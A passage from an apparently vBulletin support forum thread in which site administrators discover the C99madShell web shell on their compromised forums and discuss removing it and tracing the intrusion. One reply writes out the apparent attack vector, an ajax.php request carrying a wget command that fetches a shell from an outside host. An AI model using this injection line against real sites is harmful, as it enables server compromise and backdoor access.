C99madShell v. 2.0 madnet edition
 

I upgraded vBulletin 3.8 from 3.7, and now when ever I try to edit subscriptions, this comes up... its a PHP Shell script....

--------------- Added [DATE]1232510889[/DATE] at [TIME]1232510889[/TIME] ---------------

Ok... it was going back to the init.php file, and told me this line


($hook = vBulletinHook::fetch_hook('init_startup')) ? eval($hook) : false;


I commented that line out (//) and it went away....

--------------- Added [DATE]1232511838[/DATE] at [TIME]1232511838[/TIME] ---------------

solved.... error.php

By commenting that line, you are only disabling that hook. It hasn't fixed the hole that allowed the attacker to run the shell in the first place.

No, by SOLVED I meant I removed the script.. (The shell script)

That still does not solve how the attacker got the file there. Unless you know that already too?

am having this problem as well.....When I try to edit the payments manager I get the above msg

!C99madShell v. 2.0 madnet edition!

This is a trojan, just google for it. You should contact your host ASAP to find out how it got into your account and to remove all traces of it.

Um, it's not a Trojan :P

You've encountered the first evidence that your site has been compromised! Cheers!

Tomato, Tomato or Potato, Potato it does not matter, it's malicious and is still something you do not want to see when navigating the admincp or any other part of your site for that matter and tbo I have no clue why you even posted that last snippet of quick whit, nothing to cheer about until you've removed it :erm:.

they get the file on your server by ajax.php - they use it like forum.com/ajax.php?global=wget http://www.examplewebsite.org/c100.txt

Then they process this from here.

I would recommend vbulletin upgrading / securing the ajax.php asap

A useless discussion on semantics in my view, the poster that asked the question will understand that it is a serious security issue if i use the word "Trojan".

But how would you call an unwanted script that gives an unauthorized person backdoor access to system functions and data?
